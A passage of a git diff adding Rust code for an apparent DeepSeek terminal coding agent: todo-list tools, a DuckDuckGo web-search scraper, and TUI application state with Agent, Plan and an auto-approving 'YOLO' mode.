&'static str { + "todo_list" + } + + fn description(&self) -> &'static str { + "List current todo items (legacy compatibility)." + } + + fn input_schema(&self) -> serde_json::Value { + json!({ + "type": "object", + "properties": {} + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute( + &self, + _input: serde_json::Value, + _context: &ToolContext, + ) -> Result { + let list = self + .todo_list + .lock() + .map_err(|e| ToolError::execution_failed(format!("Failed to lock todo list: {e}")))?; + let snapshot = list.snapshot(); + let result = serde_json::to_string_pretty(&snapshot).unwrap_or_else(|_| "{}".to_string()); + Ok(ToolResult::success(format!( + "Todo list ({} items, {}% complete)\n{}", + snapshot.items.len(), + snapshot.completion_pct, + result + ))) + } +} + +#[async_trait] +impl ToolSpec for TodoWriteTool { + fn name(&self) -> &'static str { + "todo_write" + } + + fn description(&self) -> &'static str { + "Write or update the todo list for tracking tasks. Use this to plan and track progress on multi-step tasks. Each todo item has a content string and a status (pending, in_progress, completed). Only one item should be in_progress at a time." + } + + fn input_schema(&self) -> serde_json::Value { + json!({ + "type": "object", + "properties": { + "todos": { + "type": "array", + "description": "The complete list of todo items. This replaces the existing list.", + "items": { + "type": "object", + "properties": { + "content": { + "type": "string", + "description": "The task description" + }, + "status": { + "type": "string", + "enum": ["pending", "in_progress", "completed"], + "description": "Task status" + } + }, + "required": ["content", "status"] + } + } + }, + "required": ["todos"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::WritesFiles] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute( + &self, + input: serde_json::Value, + _context: &ToolContext, + ) -> Result { + let todos = input + .get("todos") + .and_then(|v| v.as_array()) + .ok_or_else(|| ToolError::invalid_input("Missing or invalid 'todos' array"))?; + + let mut list = self + .todo_list + .lock() + .map_err(|e| ToolError::execution_failed(format!("Failed to lock todo list: {e}")))?; + + // Clear and rebuild the list + list.clear(); + + for item in todos { + let content = item + .get("content") + .and_then(|v| v.as_str()) + .ok_or_else(|| ToolError::invalid_input("Todo item missing 'content'"))?; + + let status_str = item + .get("status") + .and_then(|v| v.as_str()) + .unwrap_or("pending"); + + let status = TodoStatus::from_str(status_str).unwrap_or(TodoStatus::Pending); + + list.add(content.to_string(), status); + } + + let snapshot = list.snapshot(); + let result = serde_json::to_string_pretty(&snapshot).unwrap_or_else(|_| "{}".to_string()); + + Ok(ToolResult::success(format!( + "Todo list updated ({} items, {}% complete)\n{}", + snapshot.items.len(), + snapshot.completion_pct, + result + ))) + } +} diff --git a/src/tools/web_search.rs b/src/tools/web_search.rs new file mode 100644 index 00000000..ff86eca8 --- /dev/null +++ b/src/tools/web_search.rs @@ -0,0 +1,266 @@ +//! Web search tool backed by DuckDuckGo HTML results. + +use super::spec::{ + ApprovalRequirement, ToolCapability, ToolContext, ToolError, ToolResult, ToolSpec, + optional_u64, required_str, +}; +use async_trait::async_trait; +use regex::Regex; +use serde::Serialize; +use serde_json::{Value, json}; +use std::time::Duration; + +const DEFAULT_MAX_RESULTS: usize = 5; +const MAX_RESULTS: usize = 10; +const DEFAULT_TIMEOUT_MS: u64 = 15_000; +const USER_AGENT: &str = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15"; + +#[derive(Debug, Clone, Serialize)] +struct WebSearchEntry { + title: String, + url: String, + snippet: Option, +} + +#[derive(Debug, Clone, Serialize)] +struct WebSearchResponse { + query: String, + source: String, + count: usize, + message: String, + results: Vec, +} + +pub struct WebSearchTool; + +#[async_trait] +impl ToolSpec for WebSearchTool { + fn name(&self) -> &'static str { + "web_search" + } + + fn description(&self) -> &'static str { + "Search the web and return a concise list of results." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "query": { + "type": "string", + "description": "Search query" + }, + "max_results": { + "type": "integer", + "description": "Maximum number of results to return (default: 5, max: 10)" + }, + "timeout_ms": { + "type": "integer", + "description": "Timeout in milliseconds (default: 15000, max: 60000)" + } + }, + "required": ["query"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly, ToolCapability::Network] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute(&self, input: Value, _context: &ToolContext) -> Result { + let query = required_str(&input, "query")?.trim().to_string(); + if query.is_empty() { + return Err(ToolError::invalid_input("Query cannot be empty")); + } + let max_results = usize::try_from(optional_u64( + &input, + "max_results", + DEFAULT_MAX_RESULTS as u64, + )) + .unwrap_or(DEFAULT_MAX_RESULTS) + .clamp(1, MAX_RESULTS); + let timeout_ms = optional_u64(&input, "timeout_ms", DEFAULT_TIMEOUT_MS).min(60_000); + + let client = reqwest::Client::builder() + .timeout(Duration::from_millis(timeout_ms)) + .user_agent(USER_AGENT) + .build() + .map_err(|e| { + ToolError::execution_failed(format!("Failed to build HTTP client: {e}")) + })?; + + let encoded = url_encode(&query); + let url = format!("https://html.duckduckgo.com/html/?q={encoded}"); + let resp = client + .get(&url) + .header( + "Accept", + "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + ) + .header("Accept-Language", "en-US,en;q=0.5") + .send() + .await + .map_err(|e| ToolError::execution_failed(format!("Web search request failed: {e}")))?; + + let status = resp.status(); + let body = resp + .text() + .await + .map_err(|e| ToolError::execution_failed(format!("Failed to read response: {e}")))?; + + if !status.is_success() { + return Err(ToolError::execution_failed(format!( + "Web search failed: HTTP {}", + status.as_u16() + ))); + } + + let results = parse_duckduckgo_results(&body, max_results); + let message = if results.is_empty() { + "No results found".to_string() + } else { + format!("Found {} result(s)", results.len()) + }; + + let response = WebSearchResponse { + query, + source: "duckduckgo".to_string(), + count: results.len(), + message, + results, + }; + + ToolResult::json(&response).map_err(|e| ToolError::execution_failed(e.to_string())) + } +} + +fn parse_duckduckgo_results(html: &str, max_results: usize) -> Vec { + let title_re = + Regex::new(r#"]*class=\"result__a\"[^>]*href=\"([^\"]+)\"[^>]*>(.*?)"#).unwrap(); + let snippet_re = Regex::new( + r#"]*class=\"result__snippet\"[^>]*>(.*?)|]*class=\"result__snippet\"[^>]*>(.*?)"#, + ) + .unwrap(); + let snippets: Vec = snippet_re + .captures_iter(html) + .filter_map(|cap| cap.get(1).or_else(|| cap.get(2))) + .map(|m| normalize_text(m.as_str())) + .collect(); + + let mut results = Vec::new(); + for (idx, cap) in title_re.captures_iter(html).enumerate() { + if results.len() >= max_results { + break; + } + let href = cap.get(1).map(|m| m.as_str()).unwrap_or(""); + let title_raw = cap.get(2).map(|m| m.as_str()).unwrap_or(""); + let title = normalize_text(title_raw); + if title.is_empty() { + continue; + } + let url = normalize_url(href); + let snippet = snippets + .get(idx) + .map(|s| s.to_string()) + .filter(|s| !s.is_empty()); + + results.push(WebSearchEntry { + title, + url, + snippet, + }); + } + + results +} + +fn normalize_url(href: &str) -> String { + if let Some(uddg) = extract_query_param(href, "uddg") { + let decoded = percent_decode(&uddg); + if !decoded.is_empty() { + return decoded; + } + } + if href.starts_with("//") { + return format!("https:{href}"); + } + if href.starts_with('/') { + return format!("https://duckduckgo.com{href}"); + } + href.to_string() +} + +fn normalize_text(text: &str) -> String { + let stripped = strip_html_tags(text); + let decoded = decode_html_entities(&stripped); + decoded.split_whitespace().collect::>().join(" ") +} + +fn strip_html_tags(text: &str) -> String { + let tag_re = Regex::new(r"<[^>]+>").unwrap(); + tag_re.replace_all(text, "").to_string() +} + +fn decode_html_entities(text: &str) -> String { + text.replace("&", "&") + .replace(""", "\"") + .replace("'", "'") + .replace("'", "'") + .replace("<", "<") + .replace(">", ">") + .replace(" ", " ") +} + +fn url_encode(input: &str) -> String { + let mut out = String::new(); + for b in input.bytes() { + match b { + b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => { + out.push(b as char); + } + b' ' => out.push('+'), + _ => out.push_str(&format!("%{:02X}", b)), + } + } + out +} + +fn percent_decode(input: &str) -> String { + let bytes = input.as_bytes(); + let mut out = Vec::new(); + let mut i = 0; + while i < bytes.len() { + match bytes[i] { + b'%' if i + 2 < bytes.len() => { + let hex = &input[i + 1..i + 3]; + if let Ok(val) = u8::from_str_radix(hex, 16) { + out.push(val); + i += 3; + continue; + } + out.push(bytes[i]); + } + b'+' => out.push(b' '), + _ => out.push(bytes[i]), + } + i += 1; + } + String::from_utf8_lossy(&out).to_string() +} + +fn extract_query_param(url: &str, key: &str) -> Option { + let query = url.split_once('?')?.1; + for part in query.split('&') { + let mut iter = part.splitn(2, '='); + let name = iter.next().unwrap_or(""); + if name == key { + return iter.next().map(str::to_string); + } + } + None +} diff --git a/src/tui/app.rs b/src/tui/app.rs new file mode 100644 index 00000000..a1447c45 --- /dev/null +++ b/src/tui/app.rs @@ -0,0 +1,919 @@ +//! Application state for the `DeepSeek` TUI. + +use std::collections::{HashMap, HashSet, VecDeque}; +use std::path::PathBuf; +use std::time::Instant; + +use ratatui::layout::Rect; +use serde_json::Value; +use thiserror::Error; + +use crate::compaction::CompactionConfig; +use crate::config::{Config, has_api_key, save_api_key}; +use crate::duo::{SharedDuoSession, new_shared_duo_session}; +use crate::hooks::{HookContext, HookEvent, HookExecutor, HookResult}; +use crate::models::{Message, SystemPrompt}; +use crate::palette::{self, UiTheme}; +use crate::rlm::{RlmSession, SharedRlmSession}; +use crate::settings::Settings; +use crate::tools::plan::{SharedPlanState, new_shared_plan_state}; +use crate::tools::subagent::SubAgentResult; +use crate::tools::todo::{SharedTodoList, new_shared_todo_list}; +use crate::tui::approval::ApprovalMode; +use crate::tui::clipboard::{ClipboardContent, ClipboardHandler}; +use crate::tui::history::{HistoryCell, TranscriptRenderOptions}; +use crate::tui::paste_burst::{FlushResult, PasteBurst}; +use crate::tui::scrolling::{MouseScrollState, TranscriptScroll}; +use crate::tui::selection::TranscriptSelection; +use crate::tui::transcript::TranscriptViewCache; +use crate::tui::views::ViewStack; +use std::sync::{Arc, Mutex}; + +// === Types === + +/// State machine for onboarding new users. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum OnboardingState { + Welcome, + EnteringKey, + Success, + None, +} + +/// Supported application modes for the TUI. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum AppMode { + Normal, + Agent, + Yolo, + Plan, + Rlm, + Duo, +} + +fn char_count(text: &str) -> usize { + text.chars().count() +} + +fn byte_index_at_char(text: &str, char_index: usize) -> usize { + if char_index == 0 { + return 0; + } + text.char_indices() + .nth(char_index) + .map(|(idx, _)| idx) + .unwrap_or_else(|| text.len()) +} + +fn remove_char_at(text: &mut String, char_index: usize) -> bool { + let start = byte_index_at_char(text, char_index); + if start >= text.len() { + return false; + } + let ch = text[start..].chars().next().unwrap(); + let end = start + ch.len_utf8(); + text.replace_range(start..end, ""); + true +} + +fn normalize_paste_text(text: &str) -> String { + if text.contains('\r') { + text.replace("\r\n", "\n").replace('\r', "") + } else { + text.to_string() + } +} + +fn sanitize_api_key_text(text: &str) -> String { + text.chars().filter(|c| !c.is_control()).collect() +} + +impl AppMode { + /// Short label used in the UI footer. + pub fn label(self) -> &'static str { + match self { + AppMode::Normal => "NORMAL", + AppMode::Agent => "AGENT", + AppMode::Yolo => "YOLO", + AppMode::Plan => "PLAN", + AppMode::Rlm => "RLM", + AppMode::Duo => "DUO", + } + } + + #[allow(dead_code)] + /// Description shown in help or onboarding text. + pub fn description(self) -> &'static str { + match self { + AppMode::Normal => "Chat mode - ask questions, get answers", + AppMode::Agent => "Agent mode - autonomous task execution with tools", + AppMode::Yolo => "YOLO mode - full tool access without approvals", + AppMode::Plan => "Plan mode - design before implementing", + AppMode::Rlm => "RLM mode - recursive language model sandbox", + AppMode::Duo => "Duo mode - dialectical autocoding with player-coach loop", + } + } +} + +/// Configuration required to bootstrap the TUI. +#[derive(Clone)] +#[allow(clippy::struct_excessive_bools)] +pub struct TuiOptions { + pub model: String, + pub workspace: PathBuf, + pub allow_shell: bool, + /// Use the alternate screen buffer (fullscreen TUI). + pub use_alt_screen: bool, + /// Maximum number of concurrent sub-agents. + pub max_subagents: usize, + #[allow(dead_code)] + pub skills_dir: PathBuf, + #[allow(dead_code)] + pub memory_path: PathBuf, + #[allow(dead_code)] + pub notes_path: PathBuf, + #[allow(dead_code)] + pub mcp_config_path: PathBuf, + #[allow(dead_code)] + pub use_memory: bool, + /// Start in agent mode (defaults to agent; --yolo starts in YOLO) + pub start_in_agent_mode: bool, + /// Auto-approve tool executions (yolo mode) + pub yolo: bool, + /// Resume a previous session by ID + pub resume_session_id: Option, +} + +/// Global UI state for the TUI. +#[allow(clippy::struct_excessive_bools)] +pub struct App { + pub mode: AppMode, + pub input: String, + pub cursor_position: usize, + pub paste_burst: PasteBurst, + pub history: Vec, + pub history_version: u64, + pub api_messages: Vec, + pub transcript_scroll: TranscriptScroll, + pub pending_scroll_delta: i32, + pub mouse_scroll: MouseScrollState, + pub transcript_cache: TranscriptViewCache, + pub transcript_selection: TranscriptSelection, + pub last_transcript_area: Option, + pub last_scrollbar_area: Option, + pub last_transcript_top: usize, + pub last_transcript_visible: usize, + pub last_transcript_total: usize, + pub last_transcript_padding_top: usize, + pub is_loading: bool, + pub status_message: Option, + pub model: String, + pub workspace: PathBuf, + pub skills_dir: PathBuf, + pub use_alt_screen: bool, + #[allow(dead_code)] + pub system_prompt: Option, + pub input_history: Vec, + pub history_index: Option, + pub auto_compact: bool, + pub show_thinking: bool, + pub show_tool_details: bool, + #[allow(dead_code)] + pub compact_threshold: usize, + pub max_input_history: usize, + pub total_tokens: u32, + /// Tokens used in the current conversation (reset on clear/load) + pub total_conversation_tokens: u32, + pub allow_shell: bool, + pub max_subagents: usize, + /// Cached sub-agent snapshots for UI views. + pub subagent_cache: Vec, + pub ui_theme: UiTheme, + // Onboarding + pub onboarding: OnboardingState, + pub api_key_input: String, + pub api_key_cursor: usize, + // Hooks system + pub hooks: HookExecutor, + #[allow(dead_code)] + pub yolo: bool, + // Clipboard handler + pub clipboard: ClipboardHandler, + // Tool approval session allowlist + pub approval_session_approved: HashSet, + pub approval_mode: ApprovalMode, + // Modal view stack (approval/help/etc.) + pub view_stack: ViewStack, + /// Current session ID for auto-save updates + pub current_session_id: Option, + /// Trust mode - allow access outside workspace + pub trust_mode: bool, + /// Project documentation (AGENTS.md or CLAUDE.md) + pub project_doc: Option, + /// Plan state for tracking tasks + pub plan_state: SharedPlanState, + /// Whether a plan follow-up prompt is waiting for user input + pub plan_prompt_pending: bool, + /// Whether update_plan was called during the current turn + pub plan_tool_used_in_turn: bool, + /// RLM sandbox session state + pub rlm_session: SharedRlmSession, + /// Duo mode session state (player-coach autocoding loop) + pub duo_session: SharedDuoSession, + /// Whether RLM REPL input mode is active. + pub rlm_repl_active: bool, + /// Todo list for `TodoWriteTool` + #[allow(dead_code)] // For future engine integration + pub todos: SharedTodoList, + /// Tool execution log + pub tool_log: Vec, + /// Session cost tracking + pub session_cost: f64, + /// Active skill to apply to next user message + pub active_skill: Option, + /// Tool call cells by tool id + pub tool_cells: HashMap, + /// Active exploring cell index + pub exploring_cell: Option, + /// Mapping of exploring tool ids to (cell index, entry index) + pub exploring_entries: HashMap, + /// Tool calls that should be ignored by the UI + pub ignored_tool_calls: HashSet, + /// Last exec wait command shown (for duplicate suppression) + pub last_exec_wait_command: Option, + /// Current streaming assistant cell + pub streaming_message_index: Option, + /// Accumulated reasoning text + pub reasoning_buffer: String, + /// Live reasoning header extracted from bold text + pub reasoning_header: Option, + /// Last completed reasoning block + pub last_reasoning: Option, + /// Tool calls captured for the pending assistant message + pub pending_tool_uses: Vec<(String, String, Value)>, + /// User messages queued while a turn is running + pub queued_messages: VecDeque, + /// Draft queued message being edited + pub queued_draft: Option, + /// Start time for current turn + pub turn_started_at: Option, + /// Last prompt token usage + pub last_prompt_tokens: Option, + /// Last completion token usage + pub last_completion_tokens: Option, +} + +/// Message queued while the engine is busy. +#[derive(Debug, Clone)] +pub struct QueuedMessage { + pub display: String, + pub skill_instruction: Option, +} + +impl QueuedMessage { + pub fn new(display: String, skill_instruction: Option) -> Self { + Self { + display, + skill_instruction, + } + } + + pub fn content(&self) -> String { + if let Some(skill_instruction) = self.skill_instruction.as_ref() { + format!( + "{skill_instruction}\n\n---\n\nUser request: {}", + self.display + ) + } else { + self.display.clone() + } + } + + pub fn content_with_query(&self, query: &str) -> String { + if let Some(skill_instruction) = self.skill_instruction.as_ref() { + format!("{skill_instruction}\n\n---\n\nUser request: {query}") + } else { + query.to_string() + } + } +} + +// === Errors === + +/// Errors that can occur while submitting API keys during onboarding. +#[derive(Debug, Error)] +pub enum ApiKeyError { + /// The provided API key was empty. + #[error("Failed to save API key: API key cannot be empty")] + Empty, + /// Persisting the API key failed. + #[error("Failed to save API key: {source}")] + SaveFailed { source: anyhow::Error }, +} + +// === App State === + +impl App { + #[allow(clippy::too_many_lines)] + pub fn new(options: TuiOptions, config: &Config) -> Self { + let TuiOptions { + model, + workspace, + allow_shell: _allow_shell, + use_alt_screen, + max_subagents, + skills_dir: global_skills_dir, + memory_path: _, + notes_path: _, + mcp_config_path: _, + use_memory: _, + start_in_agent_mode, + yolo, + resume_session_id: _, + } = options; + // Check if API key exists + let needs_onboarding = !has_api_key(config); + let settings = Settings::load().unwrap_or_else(|_| Settings::default()); + let auto_compact = settings.auto_compact; + let show_thinking = settings.show_thinking; + let show_tool_details = settings.show_tool_details; + let max_input_history = settings.max_input_history; + let ui_theme = palette::ui_theme(&settings.theme); + let model = settings.default_model.clone().unwrap_or_else(|| model); + + // Start in YOLO mode if --yolo flag was passed + let preferred_mode = match settings.default_mode.as_str() { + "plan" => AppMode::Plan, + "agent" | "normal" => AppMode::Agent, + "yolo" => AppMode::Yolo, + "rlm" => AppMode::Rlm, + "duo" => AppMode::Duo, + _ => AppMode::Agent, + }; + let initial_mode = if yolo { + AppMode::Yolo + } else if start_in_agent_mode { + AppMode::Agent + } else { + preferred_mode + }; + + let history = if needs_onboarding { + Vec::new() // No welcome message during onboarding + } else { + let mode_msg = if yolo { + " | YOLO MODE (shell + trust + auto-approve)" + } else { + "" + }; + vec![HistoryCell::System { + content: format!( + "Welcome to DeepSeek! Model: {} | Workspace: {}{}", + model, + workspace.display(), + mode_msg + ), + }] + }; + + // Initialize hooks executor from config + let hooks_config = config.hooks_config(); + let hooks = HookExecutor::new(hooks_config, workspace.clone()); + + // Initialize plan state + let plan_state = new_shared_plan_state(); + + let history_len = history.len() as u64; + + let local_skills_dir = workspace.join("skills"); + let skills_dir = if local_skills_dir.exists() { + local_skills_dir + } else { + global_skills_dir + }; + + Self { + mode: initial_mode, + input: String::new(), + cursor_position: 0, + paste_burst: PasteBurst::default(), + history, + history_version: history_len, + api_messages: Vec::new(), + transcript_scroll: TranscriptScroll::ToBottom, + pending_scroll_delta: 0, + mouse_scroll: MouseScrollState::new(), + transcript_cache: TranscriptViewCache::new(), + transcript_selection: TranscriptSelection::default(), + last_transcript_area: None, + last_scrollbar_area: None, + last_transcript_top: 0, + last_transcript_visible: 0, + last_transcript_total: 0, + last_transcript_padding_top: 0, + is_loading: false, + status_message: None, + model, + workspace, + skills_dir, + use_alt_screen, + system_prompt: None, + input_history: Vec::new(), + history_index: None, + auto_compact, + show_thinking, + show_tool_details, + compact_threshold: 50000, + max_input_history, + total_tokens: 0, + total_conversation_tokens: 0, + allow_shell: true, + max_subagents, + subagent_cache: Vec::new(), + ui_theme, + onboarding: if needs_onboarding { + OnboardingState::Welcome + } else { + OnboardingState::None + }, + api_key_input: String::new(), + api_key_cursor: 0, + hooks, + yolo: initial_mode == AppMode::Yolo, + clipboard: ClipboardHandler::new(), + approval_session_approved: HashSet::new(), + approval_mode: if matches!(initial_mode, AppMode::Yolo) { + ApprovalMode::Auto + } else { + ApprovalMode::Suggest + }, + view_stack: ViewStack::new(), + current_session_id: None, + trust_mode: initial_mode == AppMode::Yolo, + project_doc: None, + plan_state, + plan_prompt_pending: false, + plan_tool_used_in_turn: false, + rlm_session: Arc::new(Mutex::new(RlmSession::default())), + duo_session: new_shared_duo_session(), + rlm_repl_active: false, + todos: new_shared_todo_list(), + tool_log: Vec::new(), + session_cost: 0.0, + active_skill: None, + tool_cells: HashMap::new(), + exploring_cell: None, + exploring_entries: HashMap::new(), + ignored_tool_calls: HashSet::new(), + last_exec_wait_command: None, + streaming_message_index: None, + reasoning_buffer: String::new(), + reasoning_header: None, + last_reasoning: None, + pending_tool_uses: Vec::new(), + queued_messages: VecDeque::new(), + queued_draft: None, + turn_started_at: None, + last_prompt_tokens: None, + last_completion_tokens: None, + } + } + + pub fn submit_api_key(&mut self) -> Result { + let key = self.api_key_input.trim().to_string(); + if key.is_empty() { + return Err(ApiKeyError::Empty); + } + + match save_api_key(&key) { + Ok(path) => { + self.onboarding = OnboardingState::Success; + self.api_key_input.clear(); + self.api_key_cursor = 0; + // Add welcome message after successful setup + self.add_message(HistoryCell::System { + content: format!( + "Welcome to DeepSeek CLI! Model: {} | Workspace: {}", + self.model, + self.workspace.display() + ), + }); + Ok(path) + } + Err(source) => Err(ApiKeyError::SaveFailed { source }), + } + } + + pub fn finish_onboarding(&mut self) { + self.onboarding = OnboardingState::None; + } + + pub fn set_mode(&mut self, mode: AppMode) { + let previous_mode = self.mode; + self.mode = mode; + self.status_message = Some(format!("Switched to {} mode", mode.label())); + self.allow_shell = true; + self.trust_mode = matches!(mode, AppMode::Yolo); + self.yolo = matches!(mode, AppMode::Yolo); + self.approval_mode = if matches!(mode, AppMode::Yolo) { + ApprovalMode::Auto + } else { + ApprovalMode::Suggest + }; + self.rlm_repl_active = false; + if mode != AppMode::Plan { + self.plan_prompt_pending = false; + self.plan_tool_used_in_turn = false; + } + + // Execute mode change hooks + let context = HookContext::new() + .with_mode(mode.label()) + .with_previous_mode(previous_mode.label()) + .with_workspace(self.workspace.clone()) + .with_model(&self.model); + let _ = self.hooks.execute(HookEvent::ModeChange, &context); + } + + /// Cycle through modes: Plan → Agent → YOLO → RLM → Duo → Plan + pub fn cycle_mode(&mut self) { + let next = match self.mode { + AppMode::Plan => AppMode::Agent, + AppMode::Agent => AppMode::Yolo, + AppMode::Yolo => AppMode::Rlm, + AppMode::Rlm => AppMode::Duo, + AppMode::Duo | AppMode::Normal => AppMode::Plan, + }; + self.set_mode(next); + } + + /// Execute hooks for a specific event with the given context + pub fn execute_hooks(&self, event: HookEvent, context: &HookContext) -> Vec { + self.hooks.execute(event, context) + } + + /// Create a hook context with common fields pre-populated + pub fn base_hook_context(&self) -> HookContext { + HookContext::new() + .with_mode(self.mode.label()) + .with_workspace(self.workspace.clone()) + .with_model(&self.model) + .with_session_id(self.hooks.session_id()) + .with_tokens(self.total_tokens) + } + + pub fn add_message(&mut self, msg: HistoryCell) { + self.history.push(msg); + self.history_version = self.history_version.wrapping_add(1); + if matches!(self.transcript_scroll, TranscriptScroll::ToBottom) + && !self.transcript_selection.dragging + { + self.scroll_to_bottom(); + } + } + + pub fn mark_history_updated(&mut self) { + self.history_version = self.history_version.wrapping_add(1); + } + + pub fn transcript_render_options(&self) -> TranscriptRenderOptions { + TranscriptRenderOptions { + show_thinking: self.show_thinking, + show_tool_details: self.show_tool_details, + } + } + + /// Handle terminal resize event. + /// + /// This method properly invalidates all cached layout state to ensure + /// correct rendering after the terminal dimensions change. + pub fn handle_resize(&mut self, _width: u16, _height: u16) { + // Invalidate transcript cache (will be rebuilt on next render) + self.transcript_cache = TranscriptViewCache::new(); + + // Reset scroll to bottom to avoid invalid anchors + // (anchored cell indices may be invalid at new width) + self.transcript_scroll = TranscriptScroll::ToBottom; + + // Clear pending scroll delta + self.pending_scroll_delta = 0; + + // Clear selection (endpoints may be invalid at new width) + self.transcript_selection.clear(); + + // Clear stale layout info + self.last_transcript_area = None; + self.last_scrollbar_area = None; + self.last_transcript_top = 0; + self.last_transcript_visible = 0; + self.last_transcript_total = 0; + self.last_transcript_padding_top = 0; + + // Mark history updated to force cache rebuild + self.mark_history_updated(); + } + + pub fn cursor_byte_index(&self) -> usize { + byte_index_at_char(&self.input, self.cursor_position) + } + + pub fn insert_str(&mut self, text: &str) { + if text.is_empty() { + return; + } + let cursor = self.cursor_position.min(char_count(&self.input)); + let byte_index = byte_index_at_char(&self.input, cursor); + self.input.insert_str(byte_index, text); + self.cursor_position = cursor + char_count(text); + } + + pub fn insert_paste_text(&mut self, text: &str) { + let normalized = normalize_paste_text(text); + if !normalized.is_empty() { + self.insert_str(&normalized); + } + self.paste_burst.clear_after_explicit_paste(); + } + + pub fn flush_paste_burst_if_due(&mut self, now: Instant) -> bool { + match self.paste_burst.flush_if_due(now) { + FlushResult::Paste(text) => { + self.insert_str(&text); + true + } + FlushResult::Typed(ch) => { + self.insert_char(ch); + true + } + FlushResult::None => false, + } + } + + pub fn insert_api_key_char(&mut self, c: char) { + let cursor = self.api_key_cursor.min(char_count(&self.api_key_input)); + let byte_index = byte_index_at_char(&self.api_key_input, cursor); + self.api_key_input.insert(byte_index, c); + self.api_key_cursor = cursor + 1; + } + + pub fn insert_api_key_str(&mut self, text: &str) { + let sanitized = sanitize_api_key_text(text); + if sanitized.is_empty() { + return; + } + let cursor = self.api_key_cursor.min(char_count(&self.api_key_input)); + let byte_index = byte_index_at_char(&self.api_key_input, cursor); + self.api_key_input.insert_str(byte_index, &sanitized); + self.api_key_cursor = cursor + char_count(&sanitized); + } + + pub fn delete_api_key_char(&mut self) { + if self.api_key_cursor == 0 { + return; + } + let target = self.api_key_cursor.saturating_sub(1); + if remove_char_at(&mut self.api_key_input, target) { + self.api_key_cursor = target; + } + } + + /// Paste from clipboard into input + pub fn paste_from_clipboard(&mut self) { + if let Some(content) = self.clipboard.read(self.workspace.as_path()) { + if let Some(pending) = self.paste_burst.flush_before_modified_input() { + self.insert_str(&pending); + } + match content { + ClipboardContent::Text(text) => { + self.insert_paste_text(&text); + } + ClipboardContent::Image { path, description } => { + // Insert image path reference + let reference = format!("[Image: {} at {}]", description, path.display()); + self.insert_str(&reference); + self.paste_burst.clear_after_explicit_paste(); + self.status_message = Some(format!("Pasted image: {}", path.display())); + } + } + } + } + + pub fn paste_api_key_from_clipboard(&mut self) { + if let Some(ClipboardContent::Text(text)) = self.clipboard.read(self.workspace.as_path()) { + self.insert_api_key_str(&text); + } + } + + pub fn scroll_up(&mut self, amount: usize) { + let delta = i32::try_from(amount).unwrap_or(i32::MAX); + self.pending_scroll_delta = self.pending_scroll_delta.saturating_sub(delta); + } + + pub fn scroll_down(&mut self, amount: usize) { + let delta = i32::try_from(amount).unwrap_or(i32::MAX); + self.pending_scroll_delta = self.pending_scroll_delta.saturating_add(delta); + } + + pub fn scroll_to_bottom(&mut self) { + self.transcript_scroll = TranscriptScroll::ToBottom; + self.pending_scroll_delta = 0; + } + + pub fn insert_char(&mut self, c: char) { + let cursor = self.cursor_position.min(char_count(&self.input)); + let byte_index = byte_index_at_char(&self.input, cursor); + self.input.insert(byte_index, c); + self.cursor_position = cursor + 1; + } + + pub fn delete_char(&mut self) { + if self.cursor_position == 0 { + return; + } + let target = self.cursor_position.saturating_sub(1); + let removed = remove_char_at(&mut self.input, target); + if removed { + self.cursor_position = target; + } + } + + pub fn delete_char_forward(&mut self) { + if self.input.is_empty() { + return; + } + let target = self.cursor_position; + let removed = remove_char_at(&mut self.input, target); + if !removed { + self.cursor_position = char_count(&self.input); + } + } + + pub fn move_cursor_left(&mut self) { + self.cursor_position = self.cursor_position.saturating_sub(1); + } + + pub fn move_cursor_right(&mut self) { + if self.cursor_position < char_count(&self.input) { + self.cursor_position += 1; + } + } + + pub fn move_cursor_start(&mut self) { + self.cursor_position = 0; + } + + pub fn move_cursor_end(&mut self) { + self.cursor_position = char_count(&self.input); + } + + pub fn clear_input(&mut self) { + self.input.clear(); + self.cursor_position = 0; + self.paste_burst.clear_after_explicit_paste(); + } + + pub fn submit_input(&mut self) -> Option { + if self.input.trim().is_empty() { + self.paste_burst.clear_after_explicit_paste(); + return None; + } + let input = self.input.clone(); + if !input.starts_with('/') { + self.input_history.push(input.clone()); + if self.max_input_history == 0 { + self.input_history.clear(); + } else if self.input_history.len() > self.max_input_history { + let excess = self.input_history.len() - self.max_input_history; + self.input_history.drain(0..excess); + } + } + self.history_index = None; + self.clear_input(); + Some(input) + } + + pub fn queue_message(&mut self, message: QueuedMessage) { + self.queued_messages.push_back(message); + } + + pub fn pop_queued_message(&mut self) -> Option { + self.queued_messages.pop_front() + } + + pub fn remove_queued_message(&mut self, index: usize) -> Option { + self.queued_messages.remove(index) + } + + pub fn queued_message_previews(&self, max: usize) -> Vec { + if max == 0 { + return Vec::new(); + } + + let mut previews: Vec = self + .queued_messages + .iter() + .take(max) + .map(|msg| msg.display.clone()) + .collect(); + let extra = self.queued_messages.len().saturating_sub(previews.len()); + if extra > 0 { + previews.push(format!("+{extra} more")); + } + previews + } + + pub fn queued_message_count(&self) -> usize { + self.queued_messages.len() + } + + pub fn history_up(&mut self) { + if self.input_history.is_empty() { + return; + } + let new_index = match self.history_index { + None => self.input_history.len().saturating_sub(1), + Some(i) => i.saturating_sub(1), + }; + self.history_index = Some(new_index); + self.input = self.input_history[new_index].clone(); + self.cursor_position = char_count(&self.input); + self.paste_burst.clear_after_explicit_paste(); + } + + pub fn history_down(&mut self) { + if self.input_history.is_empty() { + return; + } + match self.history_index { + None => {} + Some(i) => { + if i + 1 < self.input_history.len() { + self.history_index = Some(i + 1); + self.input = self.input_history[i + 1].clone(); + self.cursor_position = char_count(&self.input); + self.paste_burst.clear_after_explicit_paste(); + } else { + self.history_index = None; + self.clear_input(); + } + } + } + } + + pub fn clear_todos(&mut 